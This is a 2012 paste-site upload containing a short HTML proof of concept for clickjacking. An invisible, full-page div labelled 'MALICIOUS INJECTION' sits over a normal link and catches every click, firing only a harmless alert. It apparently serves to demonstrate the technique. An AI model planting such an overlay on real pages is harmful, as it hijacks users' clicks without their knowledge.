
Untitled
By: a guest on
May 7th, 2012 | syntax:
None | size: 0.74 KB | hits: 17 | expires: Never
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>CSS3 ClickJacking Vulnerability</title>
<style type="text/css">
*{ color: #FFFFFF; margin: 0 auto; text-align: center;}
html{width: 100%; height: 100%; }
#content{ background-color: #000000; padding: 20px;}
</style>
</head>
<body>
<!-- MALICIOUS INJECTION -->
<div id="full_clickjack" onclick="alert('clickjacked');" style="position: absolute; width: 100%; height: 100%; background-color: #000000; filter:alpha(opacity=0); opacity: 0; -moz-opacity:0; -khtml-opacity: 0;"></div>
<!-- NORMAL CONTENT -->
<div id="content">
<h1>CSS3 Clickjacking Vulnerability</h1>
<a href="http://www.google.com">GOOGLE.COM</a>
</div>
</body>
</html>